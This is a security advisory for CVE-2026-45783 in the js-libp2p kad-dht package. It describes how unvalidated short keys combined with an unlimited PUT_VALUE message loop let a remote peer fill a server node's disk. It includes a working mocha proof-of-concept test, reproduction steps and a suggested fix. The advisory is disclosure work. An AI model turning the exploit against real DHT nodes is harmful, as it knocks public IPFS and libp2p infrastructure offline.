kad-dht

CVEs (1)

• CVE-2026-45783higMay 19, 2026
  Libp2p

  Js Libp2p
  risk 0.45cvss —epss —

  ### Summary An unauthenticated remote peer can exhaust the disk storage of any `@libp2p/kad-dht` node running in server mode by sending an unbounded stream of `PUT_VALUE` messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node's datastore fills until the host disk is exhausted, making the node unavailable. ### Details Two cooperating defects combine to produce the vulnerability. **Defect 1: `verifyRecord` silent early-return (`packages/kad-dht/src/record/validators.ts:19-21`)** ```typescript export async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise { const key = record.key const keyString = uint8ArrayToString(key) // decode as UTF-8 const parts = keyString.split('/') if (parts.length < 3) { // No validator available return // <- silent success; record IS written to datastore } // ... } ``` Legitimate DHT keys (`/pk/`, `/ipns/`) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two `/` characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller. **Defect 2: Unbounded RPC message loop (`packages/kad-dht/src/rpc/index.ts:103-152`)** ```typescript let signal = AbortSignal.timeout(this.incomingMessageTimeout) // 10 s inactivity timer signal.addEventListener('abort', abortListener) const messages = pbStream(stream).pb(Message) // DEFAULT_MAX_DATA_LENGTH = 4 MB while (true) { if (stream.readStatus !== 'readable') { await stream.close({ signal }); break } const message = await messages.read({ signal }) await this.handleMessage(connection.remotePeer, message) // ... signal.removeEventListener('abort', abortListener) signal = AbortSignal.timeout(this.incomingMessageTimeout) // timer RESET each message signal.addEventListener('abort', abortListener) } ``` The inactivity timeout is reset after **every successfully received message**. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely. **Combined impact** - `DEFAULT_MAX_DATA_LENGTH = 4 MB` per message (from `@libp2p/utils`) - `DEFAULT_MAX_INBOUND_STREAMS = 32` concurrent streams per `kad-dht` instance - Attack throughput: 4 MB × unlimited messages × 32 streams - Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that) **Differential note**: `go-libp2p-kad-dht` enforces `record.Validator.Validate()` per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific. ### PoC The proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections. **File**: `packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts`: ```typescript /** * PoC: kad-dht PUT_VALUE stored without validation for keys with < 3 slash-separated parts * * Affected: packages/kad-dht/src/record/validators.ts:19-22 * packages/kad-dht/src/rpc/handlers/put-value.ts * packages/kad-dht/src/rpc/index.ts (unbounded while loop) */ /* eslint-env mocha */ import assert from 'node:assert' import { start } from '@libp2p/interface' import { defaultLogger } from '@libp2p/logger' import { persistentPeerStore } from '@libp2p/peer-store' import { Libp2pRecord } from '@libp2p/record' import { streamPair } from '@libp2p/utils' import { MemoryDatastore } from 'datastore-core' import * as lp from 'it-length-prefixed' import { TypedEventEmitter } from 'main-event' import pDefer from 'p-defer' import Sinon from 'sinon' import { stubInterface } from 'sinon-ts' import { StreamMessageEvent } from '@libp2p/interface' import { toString as uint8ArrayToString } from 'uint8arrays/to-string' import { Message, MessageType } from '../../src/message/dht.js' import { PeerRouting } from '../../src/peer-routing/index.js' import { Providers } from '../../src/providers.js' import { RoutingTable } from '../../src/routing-table/index.js' import { RPC } from '../../src/rpc/index.js' import { passthroughMapper } from '../../src/utils.js' import { createPeerIdWithPrivateKey } from '../utils/create-peer-id.js' import type { Validators } from '../../src/index.js' import type { RPCComponents } from '../../src/rpc/index.js' import type { Connection, Libp2pEvents } from '@libp2p/interface' import type { AddressManager } from '@libp2p/interface-internal' import type { Datastore } from 'interface-datastore' describe('PoC: PUT_VALUE stores data without validation for short keys', function () { this.timeout(15_000) let rpc: RPC let datastore: Datastore beforeEach(async () => { const peerId = await createPeerIdWithPrivateKey() datastore = new MemoryDatastore() const components: RPCComponents = { peerId: peerId.peerId, datastore, peerStore: stubInterface(), addressManager: stubInterface(), logger: defaultLogger() } components.peerStore = persistentPeerStore({ ...components, events: new TypedEventEmitter() }) await start(...Object.values(components)) // Default validators: only 'pk' and 'ipns' in production. // Empty {} means: any key with ≥3 parts but unknown type throws; any key // with <3 parts silently passes (the bypass under test). const validators: Validators = {} rpc = new RPC(components, { routingTable: Sinon.createStubInstance(RoutingTable), providers: Sinon.createStubInstance(Providers), peerRouting: Sinon.createStubInstance(PeerRouting), validators, logPrefix: '', metricsPrefix: '', datastorePrefix: '', peerInfoMapper: passthroughMapper }) }) it('BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts', async () => { // Key bytes that, when decoded as UTF-8, produce a string with only 1 part // when split on '/': [0x01, 0x02, 0x03] → "\x01\x02\x03" → length 1 < 3 const craftedKey = new Uint8Array([0x01, 0x02, 0x03]) const keyStr = uint8ArrayToString(craftedKey) const parts = keyStr.split('/') assert.ok(parts.length < 3, `key produces ${parts.length} parts — expected < 3 for bypass`) const PAYLOAD_SIZE = 64 * 1024 // 64 KB — replace with 4 * 1024 * 1024 for full impact const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB) const record = new Libp2pRecord(craftedKey, largeValue, new Date()) const encodedRecord = record.serialize() const msg: Partial = { type: MessageType.PUT_VALUE, key: craftedKey, record: encodedRecord } // Confirm datastore is empty before the attack const before: string[] = [] for await (const { key } of datastore.query({})) { before.push(key.toString()) } assert.strictEqual(before.filter(k => k.includes('/record/')).length, 0, 'datastore must be empty before attack') // Open an in-memory stream pair. // outboundStream = attacker; incomingStream = victim. const [outboundStream, incomingStream] = await streamPair() // Wait for the echoed response (PUT_VALUE handler returns the message). // This confirms the victim processed the message before we check the store. const responseReceived = pDefer() outboundStream.addEventListener('message', (evt) => { // LP-decode the response and verify it's our PUT_VALUE echo for (const buf of lp.decode([(evt as StreamMessageEvent).data])) { const response = Message.decode(buf) if (response.type === MessageType.PUT_VALUE) { responseReceived.resolve() } } }) // Schedule message send after victim starts listening (mirrors existing test pattern) queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) }) // Start victim processing — do not await yet const victimDone = rpc.onIncomingStream( incomingStream, stubInterface() ) // Wait until the victim has processed and echoed the message await responseReceived.promise // Verify: arbitrary record was stored const after: string[] = [] for await (const { key } of datastore.query({})) { after.push(key.toString()) } const dhtRecordsAfter = after.filter(k => k.includes('/record/')) assert.ok(dhtRecordsAfter.length > 0, 'VULNERABILITY CONFIRMED: arbitrary record stored without validation') console.log(`\n[PoC] Datastore key written: ${dhtRecordsAfter[0]}`) console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b => `0x${b.toString(16)}`).join(',')}]`) console.log(`[PoC] Payload stored: ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`) // Clean up: abort the stream so victimDone resolves incomingStream.abort(new Error('test cleanup')) await victimDone.catch(() => {}) }) it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => { const MESSAGES = 8 const VALUE_SIZE = 16 * 1024 // 16 KB each for (let i = 0; i < MESSAGES; i++) { // Unique key per message → unique datastore entry per write const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF]) const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF) const record = new Libp2pRecord(craftedKey, value, new Date()) const msg: Partial = { type: MessageType.PUT_VALUE, key: craftedKey, record: record.serialize() } const [outboundStream, incomingStream] = await streamPair() const responseReceived = pDefer() outboundStream.addEventListener('message', () => { responseReceived.resolve() }) queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) }) const victimDone = rpc.onIncomingStream(incomingStream, stubInterface()) await responseReceived.promise incomingStream.abort(new Error('test cleanup')) await victimDone.catch(() => {}) } const keys: string[] = [] for await (const { key } of datastore.query({})) { keys.push(key.toString()) } const dhtRecords = keys.filter(k => k.includes('/record/')) assert.strictEqual(dhtRecords.length, MESSAGES, `expected ${MESSAGES} records stored`) const totalKB = (MESSAGES * VALUE_SIZE) / 1024 console.log(`\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`) console.log('[PoC] No per-peer write budget. No per-stream message count limit.') console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.') }) }) ``` **Steps to reproduce** (tested on commit `15eeedba13846e55e8fc3f9e4c49af18fa185ea4`): ```bash git clone https://github.com/libp2p/js-libp2p.git cd js-libp2p npm install cd packages/kad-dht npx aegir build node --experimental-vm-modules ../../node_modules/.bin/mocha \ 'dist/test/rpc/poc-put-value-unvalidated.spec.js' --timeout 30000 ``` **Expected output**: ``` PoC: PUT_VALUE stores data without validation for short keys [PoC] Datastore key written: /record/aebag [PoC] Bypassed validator with: key=[0x1,0x2,0x3] [PoC] Payload stored: 65536 bytes (64 KB) ✔ BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts [PoC] 8 records stored → 128 KB written [PoC] No per-peer write budget. No per-stream message count limit. [PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion. ✔ RATE: N PUT_VALUE writes with different keys grow the datastore unchecked 2 passing (44ms) ``` **Test 1** (`BYPASS`) confirms that a single `PUT_VALUE` message with a 3-byte raw key stores a 64 KB payload in the victim's datastore with no validation. **Test 2** (`RATE`) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence. ### Impact **Affected deployments**: any `@libp2p/kad-dht` node in **server mode** (`clientMode: false`). Server mode is the default for nodes with publicly routable addresses; the `kad-dht` module auto-switches to server mode (`kad-dht.ts:340-358`). This includes: - IPFS nodes (kubo, Helia, any JS IPFS implementation) - libp2p bootstrap nodes - Any application exposing a public DHT endpoint **Not affected**: DHT client-mode nodes, `setMode('client')` calls `registrar.unhandle(this.protocol)` which removes the inbound stream handler entirely. **Availability (disk)**: attacker fills the victim's datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared `repo` datastore). Node becomes unavailable. **No authentication barrier**: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed. **Suggested minimum fix**: Change the silent early-return to a hard rejection: ```diff - if (parts.length < 3) { - // No validator available - return - } + if (parts.length < 3) { + throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`) + } ```